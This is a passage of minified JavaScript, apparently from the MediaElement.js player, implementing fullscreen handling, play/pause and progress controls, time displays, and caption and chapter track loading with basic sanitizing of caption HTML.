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n=i.default.innerWidth||r.default.documentElement.clientWidth||r.default.body.clientWidth,o=screen.width;Math.abs(o-n)>.002*o?e.exitFullScreen():setTimeout(t,500)}},1e3)),e.getElement(e.container).style.width="100%",e.getElement(e.container).style.height="100%",e.containerSizeTimeout=setTimeout(function(){e.getElement(e.container).style.width="100%",e.getElement(e.container).style.height="100%",e.setControlsSize()},500),t)e.node.style.width="100%",e.node.style.height="100%";else for(var o=e.getElement(e.container).querySelectorAll("embed, object, video"),a=o.length,s=0;s<a;s++)o[s].style.width="100%",o[s].style.height="100%";e.options.setDimensions&&"function"==typeof e.media.setSize&&e.media.setSize(screen.width,screen.height);for(var l=e.getElement(e.layers).children,p=l.length,m=0;m<p;m++)l[m].style.width="100%",l[m].style.height="100%";e.fullscreenBtn&&((0,c.removeClass)(e.fullscreenBtn,e.options.classPrefix+"fullscreen"),(0,c.addClass)(e.fullscreenBtn,e.options.classPrefix+"unfullscreen")),e.setControlsSize(),e.isFullScreen=!0;var h=Math.min(screen.width/e.width,screen.height/e.height),v=e.getElement(e.container).querySelector("."+e.options.classPrefix+"captions-text");v&&(v.style.fontSize=100*h+"%",v.style.lineHeight="normal",e.getElement(e.container).querySelector("."+e.options.classPrefix+"captions-position").style.bottom="45px");var g=(0,u.createEvent)("enteredfullscreen",e.getElement(e.container));e.getElement(e.container).dispatchEvent(g)}},exitFullScreen:function(){var e=this,t=null!==e.media.rendererName&&/(native|html5)/i.test(e.media.rendererName);if(clearTimeout(e.containerSizeTimeout),d.HAS_TRUE_NATIVE_FULLSCREEN&&(d.IS_FULLSCREEN||e.isFullScreen)&&d.cancelFullScreen(),(0,c.removeClass)(r.default.documentElement,e.options.classPrefix+"fullscreen"),(0,c.removeClass)(e.getElement(e.container),e.options.classPrefix+"container-fullscreen"),e.options.setDimensions){if(e.getElement(e.container).style.width=e.normalWidth+"px",e.getElement(e.container).style.height=e.normalHeight+"px",t)e.node.style.width=e.normalWidth+"px",e.node.style.height=e.normalHeight+"px";else for(var n=e.getElement(e.container).querySelectorAll("embed, object, video"),o=n.length,i=0;i<o;i++)n[i].style.width=e.normalWidth+"px",n[i].style.height=e.normalHeight+"px";"function"==typeof e.media.setSize&&e.media.setSize(e.normalWidth,e.normalHeight);for(var a=e.getElement(e.layers).children,s=a.length,l=0;l<s;l++)a[l].style.width=e.normalWidth+"px",a[l].style.height=e.normalHeight+"px"}e.fullscreenBtn&&((0,c.removeClass)(e.fullscreenBtn,e.options.classPrefix+"unfullscreen"),(0,c.addClass)(e.fullscreenBtn,e.options.classPrefix+"fullscreen")),e.setControlsSize(),e.isFullScreen=!1;var f=e.getElement(e.container).querySelector("."+e.options.classPrefix+"captions-text");f&&(f.style.fontSize="",f.style.lineHeight="",e.getElement(e.container).querySelector("."+e.options.classPrefix+"captions-position").style.bottom="");var p=(0,u.createEvent)("exitedfullscreen",e.getElement(e.container));e.getElement(e.container).dispatchEvent(p)}})},{16:16,2:2,25:25,26:26,27:27,28:28,3:3,5:5}],10:[function(e,t,n){"use strict";function o(e){return e&&e.__esModule?e:{default:e}}var i=o(e(2)),r=e(16),a=o(r),s=o(e(5)),l=e(27),d=e(26);Object.assign(r.config,{playText:null,pauseText:null}),Object.assign(a.default.prototype,{buildplaypause:function(e,t,n,o){function r(e){"play"===e?((0,d.removeClass)(p,a.options.classPrefix+"play"),(0,d.removeClass)(p,a.options.classPrefix+"replay"),(0,d.addClass)(p,a.options.classPrefix+"pause"),m.setAttribute("title",f),m.setAttribute("aria-label",f)):((0,d.removeClass)(p,a.options.classPrefix+"pause"),(0,d.removeClass)(p,a.options.classPrefix+"replay"),(0,d.addClass)(p,a.options.classPrefix+"play"),m.setAttribute("title",c),m.setAttribute("aria-label",c))}var a=this,u=a.options,c=(0,l.isString)(u.playText)?u.playText:s.default.t("mejs.play"),f=(0,l.isString)(u.pauseText)?u.pauseText:s.default.t("mejs.pause"),p=i.default.createElement("div");p.className=a.options.classPrefix+"button "+a.options.classPrefix+"playpause-button "+a.options.classPrefix+"play",p.innerHTML='<button type="button" aria-controls="'+a.id+'" title="'+c+'" aria-label="'+f+'" tabindex="0"></button>',p.addEventListener("click",function(){a.paused?a.play():a.pause()});var m=p.querySelector("button");a.addControlElement(p,"playpause"),r("pse"),o.addEventListener("loadedmetadata",function(){-1===o.rendererName.indexOf("flash")&&r("pse")}),o.addEventListener("play",function(){r("play")}),o.addEventListener("playing",function(){r("play")}),o.addEventListener("pause",function(){r("pse")}),o.addEventListener("ended",function(){e.options.loop||((0,d.removeClass)(p,a.options.classPrefix+"pause"),(0,d.removeClass)(p,a.options.classPrefix+"play"),(0,d.addClass)(p,a.options.classPrefix+"replay"),m.setAttribute("title",c),m.setAttribute("aria-label",c))})}})},{16:16,2:2,26:26,27:27,5:5}],11:[function(e,t,n){"use strict";function o(e){return e&&e.__esModule?e:{default:e}}var i=o(e(2)),r=e(16),a=o(r),s=o(e(5)),l=e(25),d=e(30),u=e(26);Object.assign(r.config,{enableProgressTooltip:!0,useSmoothHover:!0,forceLive:!1}),Object.assign(a.default.prototype,{buildprogress:function(e,t,n,o){var a=0,c=!1,f=!1,p=this,m=e.options.autoRewind,h=e.options.enableProgressTooltip?'<span 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class="'+p.options.classPrefix+'time-handle-content"></span></span>'+h+"</span>",p.addControlElement(v,"progress"),p.options.keyActions.push({keys:[37,227],action:function(e){if(!isNaN(e.duration)&&e.duration>0){e.isVideo&&(e.showControls(),e.startControlsTimer()),e.getElement(e.container).querySelector("."+r.config.classPrefix+"time-total").focus();var t=Math.max(e.currentTime-e.options.defaultSeekBackwardInterval(e),0);e.setCurrentTime(t)}}},{keys:[39,228],action:function(e){if(!isNaN(e.duration)&&e.duration>0){e.isVideo&&(e.showControls(),e.startControlsTimer()),e.getElement(e.container).querySelector("."+r.config.classPrefix+"time-total").focus();var t=Math.min(e.currentTime+e.options.defaultSeekForwardInterval(e),e.duration);e.setCurrentTime(t)}}}),p.rail=t.querySelector("."+p.options.classPrefix+"time-rail"),p.total=t.querySelector("."+p.options.classPrefix+"time-total"),p.loaded=t.querySelector("."+p.options.classPrefix+"time-loaded"),p.current=t.querySelector("."+p.options.classPrefix+"time-current"),p.handle=t.querySelector("."+p.options.classPrefix+"time-handle"),p.timefloat=t.querySelector("."+p.options.classPrefix+"time-float"),p.timefloatcurrent=t.querySelector("."+p.options.classPrefix+"time-float-current"),p.slider=t.querySelector("."+p.options.classPrefix+"time-slider"),p.hovered=t.querySelector("."+p.options.classPrefix+"time-hovered"),p.buffer=t.querySelector("."+p.options.classPrefix+"time-buffering"),p.newTime=0,p.forcedHandlePause=!1,p.setTransformStyle=function(e,t){e.style.transform=t,e.style.webkitTransform=t,e.style.MozTransform=t,e.style.msTransform=t,e.style.OTransform=t},p.buffer.style.display="none";var g=function(t){var n=getComputedStyle(p.total),o=(0,u.offset)(p.total),i=p.total.offsetWidth,r=void 0!==n.webkitTransform?"webkitTransform":void 0!==n.mozTransform?"mozTransform ":void 0!==n.oTransform?"oTransform":void 0!==n.msTransform?"msTransform":"transform",a="WebKitCSSMatrix"in window?"WebKitCSSMatrix":"MSCSSMatrix"in window?"MSCSSMatrix":"CSSMatrix"in window?"CSSMatrix":void 0,s=0,f=0,m=0,h=void 0;if(h=t.originalEvent&&t.originalEvent.changedTouches?t.originalEvent.changedTouches[0].pageX:t.changedTouches?t.changedTouches[0].pageX:t.pageX,p.getDuration()){if(h<o.left?h=o.left:h>i+o.left&&(h=i+o.left),m=h-o.left,s=m/i,p.newTime=s<=.02?0:s*p.getDuration(),c&&null!==p.getCurrentTime()&&p.newTime.toFixed(4)!==p.getCurrentTime().toFixed(4)&&(p.setCurrentRailHandle(p.newTime),p.updateCurrent(p.newTime)),!l.IS_IOS&&!l.IS_ANDROID){if(m<0&&(m=0),p.options.useSmoothHover&&null!==a&&void 0!==window[a]){var v=new window[a](getComputedStyle(p.handle)[r]).m41,g=m/parseFloat(getComputedStyle(p.total).width)-v/parseFloat(getComputedStyle(p.total).width);p.hovered.style.left=v+"px",p.setTransformStyle(p.hovered,"scaleX("+g+")"),p.hovered.setAttribute("pos",m),g>=0?(0,u.removeClass)(p.hovered,"negative"):(0,u.addClass)(p.hovered,"negative")}if(p.timefloat){var y=p.timefloat.offsetWidth/2,E=mejs.Utils.offset(p.getElement(p.container)),b=getComputedStyle(p.timefloat);f=h-E.left<p.timefloat.offsetWidth?y:h-E.left>=p.getElement(p.container).offsetWidth-y?p.total.offsetWidth-y:m,(0,u.hasClass)(p.getElement(p.container),p.options.classPrefix+"long-video")&&(f+=parseFloat(b.marginLeft)/2+p.timefloat.offsetWidth/2),p.timefloat.style.left=f+"px",p.timefloatcurrent.innerHTML=(0,d.secondsToTimeCode)(p.newTime,e.options.alwaysShowHours,e.options.showTimecodeFrameCount,e.options.framesPerSecond,e.options.secondsDecimalLength,e.options.timeFormat),p.timefloat.style.display="block"}}}else l.IS_IOS||l.IS_ANDROID||!p.timefloat||(f=p.timefloat.offsetWidth+i>=p.getElement(p.container).offsetWidth?p.timefloat.offsetWidth/2:0,p.timefloat.style.left=f+"px",p.timefloat.style.left=f+"px",p.timefloat.style.display="block")},y=function(){var t=p.getCurrentTime(),n=s.default.t("mejs.time-slider"),i=(0,d.secondsToTimeCode)(t,e.options.alwaysShowHours,e.options.showTimecodeFrameCount,e.options.framesPerSecond,e.options.secondsDecimalLength,e.options.timeFormat),r=p.getDuration();p.slider.setAttribute("role","slider"),p.slider.tabIndex=0,o.paused?(p.slider.setAttribute("aria-label",n),p.slider.setAttribute("aria-valuemin",0),p.slider.setAttribute("aria-valuemax",r),p.slider.setAttribute("aria-valuenow",t),p.slider.setAttribute("aria-valuetext",i)):(p.slider.removeAttribute("aria-label"),p.slider.removeAttribute("aria-valuemin"),p.slider.removeAttribute("aria-valuemax"),p.slider.removeAttribute("aria-valuenow"),p.slider.removeAttribute("aria-valuetext"))},E=function(){new Date-a>=1e3&&p.play()},b=function(){c&&null!==p.getCurrentTime()&&p.newTime.toFixed(4)!==p.getCurrentTime().toFixed(4)&&(p.setCurrentTime(p.newTime),p.setCurrentRail(),p.updateCurrent(p.newTime)),p.forcedHandlePause&&(p.slider.focus(),p.play()),p.forcedHandlePause=!1};p.slider.addEventListener("focus",function(){e.options.autoRewind=!1}),p.slider.addEventListener("blur",function(){e.options.autoRewind=m}),p.slider.addEventListener("keydown",function(t){if(new Date-a>=1e3&&(f=p.paused),p.options.keyActions.length){var n=t.which||t.keyCode||0,i=p.getDuration(),r=e.options.defaultSeekForwardInterval(o),s=e.options.defaultSeekBackwardInterval(o),d=p.getCurrentTime(),u=p.getElement(p.container).querySelector("."+p.options.classPrefix+"volume-slider");if(38===n||40===n){u&&(u.style.display="block"),p.isVideo&&(p.showControls(),p.startControlsTimer());var c=38===n?Math.min(p.volume+.1,1):Math.max(p.volume-.1,0),m=c<=0;return p.setVolume(c),void p.setMuted(m)}switch(u&&(u.style.display="none"),n){case 37:p.getDuration()!==1/0&&(d-=s);break;case 39:p.getDuration()!==1/0&&(d+=r);break;case 36:d=0;break;case 35:d=i;break;case 13:case 32:return void(l.IS_FIREFOX&&(p.paused?p.play():p.pause()));default:return}d=d<0?0:d>=i?i:Math.floor(d),a=new Date,f||e.pause(),d<p.getDuration()&&!f&&setTimeout(E,1100),p.setCurrentTime(d),e.showControls(),t.preventDefault(),t.stopPropagation()}});var S=["mousedown","touchstart"];p.slider.addEventListener("dragstart",function(){return!1});for(var x=0,w=S.length;x<w;x++)p.slider.addEventListener(S[x],function(e){if(p.forcedHandlePause=!1,p.getDuration()!==1/0&&(1===e.which||0===e.which)){p.paused||(p.pause(),p.forcedHandlePause=!0),c=!0,g(e);for(var t=["mouseup","touchend"],n=0,o=t.length;n<o;n++)p.getElement(p.container).addEventListener(t[n],function(e){var t=e.target;(t===p.slider||t.closest("."+p.options.classPrefix+"time-slider"))&&g(e)});p.globalBind("mouseup.dur touchend.dur",function(){b(),c=!1,p.timefloat&&(p.timefloat.style.display="none")})}},!(!l.SUPPORT_PASSIVE_EVENT||"touchstart"!==S[x])&&{passive:!0});p.slider.addEventListener("mouseenter",function(e){e.target===p.slider&&p.getDuration()!==1/0&&(p.getElement(p.container).addEventListener("mousemove",function(e){var t=e.target;(t===p.slider||t.closest("."+p.options.classPrefix+"time-slider"))&&g(e)}),!p.timefloat||l.IS_IOS||l.IS_ANDROID||(p.timefloat.style.display="block"),p.hovered&&!l.IS_IOS&&!l.IS_ANDROID&&p.options.useSmoothHover&&(0,u.removeClass)(p.hovered,"no-hover"))}),p.slider.addEventListener("mouseleave",function(){p.getDuration()!==1/0&&(c||(p.timefloat&&(p.timefloat.style.display="none"),p.hovered&&p.options.useSmoothHover&&(0,u.addClass)(p.hovered,"no-hover")))}),p.broadcastCallback=function(n){var o=t.querySelector("."+p.options.classPrefix+"broadcast");if(p.options.forceLive||p.getDuration()===1/0){if(!o||p.options.forceLive){var r=i.default.createElement("span");r.className=p.options.classPrefix+"broadcast",r.innerText=s.default.t("mejs.live-broadcast"),p.slider.style.display="none",p.rail.appendChild(r)}}else o&&(p.slider.style.display="",o.remove()),e.setProgressRail(n),p.forcedHandlePause||e.setCurrentRail(n),y()},o.addEventListener("progress",p.broadcastCallback),o.addEventListener("timeupdate",p.broadcastCallback),o.addEventListener("play",function(){p.buffer.style.display="none"}),o.addEventListener("playing",function(){p.buffer.style.display="none"}),o.addEventListener("seeking",function(){p.buffer.style.display=""}),o.addEventListener("seeked",function(){p.buffer.style.display="none"}),o.addEventListener("pause",function(){p.buffer.style.display="none"}),o.addEventListener("waiting",function(){p.buffer.style.display=""}),o.addEventListener("loadeddata",function(){p.buffer.style.display=""}),o.addEventListener("canplay",function(){p.buffer.style.display="none"}),o.addEventListener("error",function(){p.buffer.style.display="none"}),p.getElement(p.container).addEventListener("controlsresize",function(t){p.getDuration()!==1/0&&(e.setProgressRail(t),p.forcedHandlePause||e.setCurrentRail(t))})},cleanprogress:function(e,t,n,o){o.removeEventListener("progress",e.broadcastCallback),o.removeEventListener("timeupdate",e.broadcastCallback),e.rail&&e.rail.remove()},setProgressRail:function(e){var t=this,n=void 0!==e?e.detail.target||e.target:t.media,o=null;n&&n.buffered&&n.buffered.length>0&&n.buffered.end&&t.getDuration()?o=n.buffered.end(n.buffered.length-1)/t.getDuration():n&&void 0!==n.bytesTotal&&n.bytesTotal>0&&void 0!==n.bufferedBytes?o=n.bufferedBytes/n.bytesTotal:e&&e.lengthComputable&&0!==e.total&&(o=e.loaded/e.total),null!==o&&(o=Math.min(1,Math.max(0,o)),t.loaded&&t.setTransformStyle(t.loaded,"scaleX("+o+")"))},setCurrentRailHandle:function(e){var t=this;t.setCurrentRailMain(t,e)},setCurrentRail:function(){var e=this;e.setCurrentRailMain(e)},setCurrentRailMain:function(e,t){if(void 0!==e.getCurrentTime()&&e.getDuration()){var n=void 0===t?e.getCurrentTime():t;if(e.total&&e.handle){var o=parseFloat(getComputedStyle(e.total).width),i=Math.round(o*n/e.getDuration()),r=i-Math.round(e.handle.offsetWidth/2);if(r=r<0?0:r,e.setTransformStyle(e.current,"scaleX("+i/o+")"),e.setTransformStyle(e.handle,"translateX("+r+"px)"),e.options.useSmoothHover&&!(0,u.hasClass)(e.hovered,"no-hover")){var a=parseInt(e.hovered.getAttribute("pos"),10),s=(a=isNaN(a)?0:a)/o-r/o;e.hovered.style.left=r+"px",e.setTransformStyle(e.hovered,"scaleX("+s+")"),s>=0?(0,u.removeClass)(e.hovered,"negative"):(0,u.addClass)(e.hovered,"negative")}}}}})},{16:16,2:2,25:25,26:26,30:30,5:5}],12:[function(e,t,n){"use strict";function o(e){return e&&e.__esModule?e:{default:e}}var i=o(e(2)),r=e(16),a=o(r),s=e(30),l=e(26);Object.assign(r.config,{duration:0,timeAndDurationSeparator:"<span> | </span>"}),Object.assign(a.default.prototype,{buildcurrent:function(e,t,n,o){var r=this,a=i.default.createElement("div");a.className=r.options.classPrefix+"time",a.setAttribute("role","timer"),a.setAttribute("aria-live","off"),a.innerHTML='<span class="'+r.options.classPrefix+'currenttime">'+(0,s.secondsToTimeCode)(0,e.options.alwaysShowHours,e.options.showTimecodeFrameCount,e.options.framesPerSecond,e.options.secondsDecimalLength,e.options.timeFormat)+"</span>",r.addControlElement(a,"current"),e.updateCurrent(),r.updateTimeCallback=function(){r.controlsAreVisible&&e.updateCurrent()},o.addEventListener("timeupdate",r.updateTimeCallback)},cleancurrent:function(e,t,n,o){o.removeEventListener("timeupdate",e.updateTimeCallback)},buildduration:function(e,t,n,o){var r=this;if(t.lastChild.querySelector("."+r.options.classPrefix+"currenttime"))t.querySelector("."+r.options.classPrefix+"time").innerHTML+=r.options.timeAndDurationSeparator+'<span class="'+r.options.classPrefix+'duration">'+(0,s.secondsToTimeCode)(r.options.duration,r.options.alwaysShowHours,r.options.showTimecodeFrameCount,r.options.framesPerSecond,r.options.secondsDecimalLength,r.options.timeFormat)+"</span>";else{t.querySelector("."+r.options.classPrefix+"currenttime")&&(0,l.addClass)(t.querySelector("."+r.options.classPrefix+"currenttime").parentNode,r.options.classPrefix+"currenttime-container");var a=i.default.createElement("div");a.className=r.options.classPrefix+"time "+r.options.classPrefix+"duration-container",a.innerHTML='<span class="'+r.options.classPrefix+'duration">'+(0,s.secondsToTimeCode)(r.options.duration,r.options.alwaysShowHours,r.options.showTimecodeFrameCount,r.options.framesPerSecond,r.options.secondsDecimalLength,r.options.timeFormat)+"</span>",r.addControlElement(a,"duration")}r.updateDurationCallback=function(){r.controlsAreVisible&&e.updateDuration()},o.addEventListener("timeupdate",r.updateDurationCallback)},cleanduration:function(e,t,n,o){o.removeEventListener("timeupdate",e.updateDurationCallback)},updateCurrent:function(){var e=this,t=e.getCurrentTime();isNaN(t)&&(t=0);var n=(0,s.secondsToTimeCode)(t,e.options.alwaysShowHours,e.options.showTimecodeFrameCount,e.options.framesPerSecond,e.options.secondsDecimalLength,e.options.timeFormat);n.length>5?(0,l.addClass)(e.getElement(e.container),e.options.classPrefix+"long-video"):(0,l.removeClass)(e.getElement(e.container),e.options.classPrefix+"long-video"),e.getElement(e.controls).querySelector("."+e.options.classPrefix+"currenttime")&&(e.getElement(e.controls).querySelector("."+e.options.classPrefix+"currenttime").innerText=n)},updateDuration:function(){var e=this,t=e.getDuration();(isNaN(t)||t===1/0||t<0)&&(e.media.duration=e.options.duration=t=0),e.options.duration>0&&(t=e.options.duration);var n=(0,s.secondsToTimeCode)(t,e.options.alwaysShowHours,e.options.showTimecodeFrameCount,e.options.framesPerSecond,e.options.secondsDecimalLength,e.options.timeFormat);n.length>5?(0,l.addClass)(e.getElement(e.container),e.options.classPrefix+"long-video"):(0,l.removeClass)(e.getElement(e.container),e.options.classPrefix+"long-video"),e.getElement(e.controls).querySelector("."+e.options.classPrefix+"duration")&&t>0&&(e.getElement(e.controls).querySelector("."+e.options.classPrefix+"duration").innerHTML=n)}})},{16:16,2:2,26:26,30:30}],13:[function(e,t,n){"use strict";function o(e){return e&&e.__esModule?e:{default:e}}var i=o(e(2)),r=o(e(7)),a=o(e(5)),s=e(16),l=o(s),d=e(30),u=e(27),c=e(26);Object.assign(s.config,{startLanguage:"",tracksText:null,chaptersText:null,tracksAriaLive:!1,hideCaptionsButtonWhenEmpty:!0,toggleCaptionsButtonWhenOnlyOne:!1,slidesSelector:""}),Object.assign(l.default.prototype,{hasChapters:!1,buildtracks:function(e,t,n,o){if(this.findTracks(),e.tracks.length||e.trackFiles&&0!==!e.trackFiles.length){var r=this,s=r.options.tracksAriaLive?' role="log" aria-live="assertive" aria-atomic="false"':"",l=(0,u.isString)(r.options.tracksText)?r.options.tracksText:a.default.t("mejs.captions-subtitles"),d=(0,u.isString)(r.options.chaptersText)?r.options.chaptersText:a.default.t("mejs.captions-chapters"),f=null===e.trackFiles?e.tracks.length:e.trackFiles.length;if(r.domNode.textTracks)for(var p=r.domNode.textTracks.length-1;p>=0;p--)r.domNode.textTracks[p].mode="hidden";r.cleartracks(e),e.captions=i.default.createElement("div"),e.captions.className=r.options.classPrefix+"captions-layer "+r.options.classPrefix+"layer",e.captions.innerHTML='<div class="'+r.options.classPrefix+"captions-position "+r.options.classPrefix+'captions-position-hover"'+s+'><span class="'+r.options.classPrefix+'captions-text"></span></div>',e.captions.style.display="none",n.insertBefore(e.captions,n.firstChild),e.captionsText=e.captions.querySelector("."+r.options.classPrefix+"captions-text"),e.captionsButton=i.default.createElement("div"),e.captionsButton.className=r.options.classPrefix+"button "+r.options.classPrefix+"captions-button",e.captionsButton.innerHTML='<button type="button" aria-controls="'+r.id+'" title="'+l+'" aria-label="'+l+'" tabindex="0"></button><div class="'+r.options.classPrefix+"captions-selector "+r.options.classPrefix+'offscreen"><ul class="'+r.options.classPrefix+'captions-selector-list"><li class="'+r.options.classPrefix+'captions-selector-list-item"><input type="radio" class="'+r.options.classPrefix+'captions-selector-input" name="'+e.id+'_captions" id="'+e.id+'_captions_none" value="none" checked disabled><label class="'+r.options.classPrefix+"captions-selector-label "+r.options.classPrefix+'captions-selected" for="'+e.id+'_captions_none">'+a.default.t("mejs.none")+"</label></li></ul></div>",r.addControlElement(e.captionsButton,"tracks"),e.captionsButton.querySelector("."+r.options.classPrefix+"captions-selector-input").disabled=!1,e.chaptersButton=i.default.createElement("div"),e.chaptersButton.className=r.options.classPrefix+"button "+r.options.classPrefix+"chapters-button",e.chaptersButton.innerHTML='<button type="button" aria-controls="'+r.id+'" title="'+d+'" aria-label="'+d+'" tabindex="0"></button><div class="'+r.options.classPrefix+"chapters-selector "+r.options.classPrefix+'offscreen"><ul class="'+r.options.classPrefix+'chapters-selector-list"></ul></div>';for(var m=0,h=0;h<f;h++){var v=e.tracks[h].kind;e.tracks[h].src.trim()&&("subtitles"===v||"captions"===v?m++:"chapters"!==v||t.querySelector("."+r.options.classPrefix+"chapter-selector")||e.captionsButton.parentNode.insertBefore(e.chaptersButton,e.captionsButton))}e.trackToLoad=-1,e.selectedTrack=null,e.isLoadingTrack=!1;for(var g=0;g<f;g++){var y=e.tracks[g].kind;!e.tracks[g].src.trim()||"subtitles"!==y&&"captions"!==y||e.addTrackButton(e.tracks[g].trackId,e.tracks[g].srclang,e.tracks[g].label)}e.loadNextTrack();var E=["mouseenter","focusin"],b=["mouseleave","focusout"];if(r.options.toggleCaptionsButtonWhenOnlyOne&&1===m)e.captionsButton.addEventListener("click",function(t){var n="none";null===e.selectedTrack&&(n=e.tracks[0].trackId);var o=t.keyCode||t.which;e.setTrack(n,void 0!==o)});else{for(var S=e.captionsButton.querySelectorAll("."+r.options.classPrefix+"captions-selector-label"),x=e.captionsButton.querySelectorAll("input[type=radio]"),w=0,P=E.length;w<P;w++)e.captionsButton.addEventListener(E[w],function(){(0,c.removeClass)(this.querySelector("."+r.options.classPrefix+"captions-selector"),r.options.classPrefix+"offscreen")});for(var T=0,C=b.length;T<C;T++)e.captionsButton.addEventListener(b[T],function(){(0,c.addClass)(this.querySelector("."+r.options.classPrefix+"captions-selector"),r.options.classPrefix+"offscreen")});for(var k=0,_=x.length;k<_;k++)x[k].addEventListener("click",function(t){var n=t.keyCode||t.which;e.setTrack(this.value,void 0!==n)});for(var N=0,A=S.length;N<A;N++)S[N].addEventListener("click",function(e){var t=(0,c.siblings)(this,function(e){return"INPUT"===e.tagName})[0],n=(0,u.createEvent)("click",t);t.dispatchEvent(n),e.preventDefault()});e.captionsButton.addEventListener("keydown",function(e){e.stopPropagation()})}for(var L=0,F=E.length;L<F;L++)e.chaptersButton.addEventListener(E[L],function(){this.querySelector("."+r.options.classPrefix+"chapters-selector-list").children.length&&(0,c.removeClass)(this.querySelector("."+r.options.classPrefix+"chapters-selector"),r.options.classPrefix+"offscreen")});for(var j=0,I=b.length;j<I;j++)e.chaptersButton.addEventListener(b[j],function(){(0,c.addClass)(this.querySelector("."+r.options.classPrefix+"chapters-selector"),r.options.classPrefix+"offscreen")});e.chaptersButton.addEventListener("keydown",function(e){e.stopPropagation()}),e.options.alwaysShowControls?(0,c.addClass)(e.getElement(e.container).querySelector("."+r.options.classPrefix+"captions-position"),r.options.classPrefix+"captions-position-hover"):(e.getElement(e.container).addEventListener("controlsshown",function(){(0,c.addClass)(e.getElement(e.container).querySelector("."+r.options.classPrefix+"captions-position"),r.options.classPrefix+"captions-position-hover")}),e.getElement(e.container).addEventListener("controlshidden",function(){o.paused||(0,c.removeClass)(e.getElement(e.container).querySelector("."+r.options.classPrefix+"captions-position"),r.options.classPrefix+"captions-position-hover")})),o.addEventListener("timeupdate",function(){e.displayCaptions()}),""!==e.options.slidesSelector&&(e.slidesContainer=i.default.querySelectorAll(e.options.slidesSelector),o.addEventListener("timeupdate",function(){e.displaySlides()}))}},cleartracks:function(e){e&&(e.captions&&e.captions.remove(),e.chapters&&e.chapters.remove(),e.captionsText&&e.captionsText.remove(),e.captionsButton&&e.captionsButton.remove(),e.chaptersButton&&e.chaptersButton.remove())},rebuildtracks:function(){var e=this;e.findTracks(),e.buildtracks(e,e.getElement(e.controls),e.getElement(e.layers),e.media)},findTracks:function(){var e=this,t=null===e.trackFiles?e.node.querySelectorAll("track"):e.trackFiles,n=t.length;e.tracks=[];for(var o=0;o<n;o++){var i=t[o],r=i.getAttribute("srclang").toLowerCase()||"",a=e.id+"_track_"+o+"_"+i.getAttribute("kind")+"_"+r;e.tracks.push({trackId:a,srclang:r,src:i.getAttribute("src"),kind:i.getAttribute("kind"),label:i.getAttribute("label")||"",entries:[],isLoaded:!1})}},setTrack:function(e,t){for(var n=this,o=n.captionsButton.querySelectorAll('input[type="radio"]'),i=n.captionsButton.querySelectorAll("."+n.options.classPrefix+"captions-selected"),r=n.captionsButton.querySelector('input[value="'+e+'"]'),a=0,s=o.length;a<s;a++)o[a].checked=!1;for(var l=0,d=i.length;l<d;l++)(0,c.removeClass)(i[l],n.options.classPrefix+"captions-selected");r.checked=!0;for(var f=(0,c.siblings)(r,function(e){return(0,c.hasClass)(e,n.options.classPrefix+"captions-selector-label")}),p=0,m=f.length;p<m;p++)(0,c.addClass)(f[p],n.options.classPrefix+"captions-selected");if("none"===e)n.selectedTrack=null,(0,c.removeClass)(n.captionsButton,n.options.classPrefix+"captions-enabled");else for(var h=0,v=n.tracks.length;h<v;h++){var g=n.tracks[h];if(g.trackId===e){null===n.selectedTrack&&(0,c.addClass)(n.captionsButton,n.options.classPrefix+"captions-enabled"),n.selectedTrack=g,n.captions.setAttribute("lang",n.selectedTrack.srclang),n.displayCaptions();break}}var y=(0,u.createEvent)("captionschange",n.media);y.detail.caption=n.selectedTrack,n.media.dispatchEvent(y),t||setTimeout(function(){n.getElement(n.container).focus()},500)},loadNextTrack:function(){var e=this;e.trackToLoad++,e.trackToLoad<e.tracks.length?(e.isLoadingTrack=!0,e.loadTrack(e.trackToLoad)):(e.isLoadingTrack=!1,e.checkForTracks())},loadTrack:function(e){var t=this,n=t.tracks[e];void 0===n||void 0===n.src&&""===n.src||(0,c.ajax)(n.src,"text",function(e){n.entries="string"==typeof e&&/<tt\s+xml/gi.exec(e)?r.default.TrackFormatParser.dfxp.parse(e):r.default.TrackFormatParser.webvtt.parse(e),n.isLoaded=!0,t.enableTrackButton(n),t.loadNextTrack(),"slides"===n.kind?t.setupSlides(n):"chapters"!==n.kind||t.hasChapters||(t.drawChapters(n),t.hasChapters=!0)},function(){t.removeTrackButton(n.trackId),t.loadNextTrack()})},enableTrackButton:function(e){var t=this,n=e.srclang,o=i.default.getElementById(""+e.trackId);if(o){var s=e.label;""===s&&(s=a.default.t(r.default.language.codes[n])||n),o.disabled=!1;for(var l=(0,c.siblings)(o,function(e){return(0,c.hasClass)(e,t.options.classPrefix+"captions-selector-label")}),d=0,f=l.length;d<f;d++)l[d].innerHTML=s;if(t.options.startLanguage===n){o.checked=!0;var p=(0,u.createEvent)("click",o);o.dispatchEvent(p)}}},removeTrackButton:function(e){var t=i.default.getElementById(""+e);if(t){var n=t.closest("li");n&&n.remove()}},addTrackButton:function(e,t,n){var o=this;""===n&&(n=a.default.t(r.default.language.codes[t])||t),o.captionsButton.querySelector("ul").innerHTML+='<li class="'+o.options.classPrefix+'captions-selector-list-item"><input type="radio" class="'+o.options.classPrefix+'captions-selector-input" name="'+o.id+'_captions" id="'+e+'" value="'+e+'" disabled><label class="'+o.options.classPrefix+'captions-selector-label"for="'+e+'">'+n+" (loading)</label></li>"},checkForTracks:function(){var e=this,t=!1;if(e.options.hideCaptionsButtonWhenEmpty){for(var n=0,o=e.tracks.length;n<o;n++){var i=e.tracks[n].kind;if(("subtitles"===i||"captions"===i)&&e.tracks[n].isLoaded){t=!0;break}}e.captionsButton.style.display=t?"":"none",e.setControlsSize()}},displayCaptions:function(){if(void 0!==this.tracks){var e=this,t=e.selectedTrack;if(null!==t&&t.isLoaded){var n=e.searchTrackPosition(t.entries,e.media.currentTime);if(n>-1)return e.captionsText.innerHTML=function(e){var t=i.default.createElement("div");t.innerHTML=e;for(var n=t.getElementsByTagName("script"),o=n.length;o--;)n[o].remove();for(var r=t.getElementsByTagName("*"),a=0,s=r.length;a<s;a++)for(var l=r[a].attributes,d=Array.prototype.slice.call(l),u=0,c=d.length;u<c;u++)d[u].name.startsWith("on")||d[u].value.startsWith("javascript")?r[a].remove():"style"===d[u].name&&r[a].removeAttribute(d[u].name);return t.innerHTML}(t.entries[n].text),e.captionsText.className=e.options.classPrefix+"captions-text "+(t.entries[n].identifier||""),e.captions.style.display="",void(e.captions.style.height="0px");e.captions.style.display="none"}else e.captions.style.display="none"}},setupSlides:function(e){var t=this;t.slides=e,t.slides.entries.imgs=[t.slides.entries.length],t.showSlide(0)},showSlide:function(e){var t=this,n=this;if(void 0!==n.tracks&&void 0!==n.slidesContainer){var 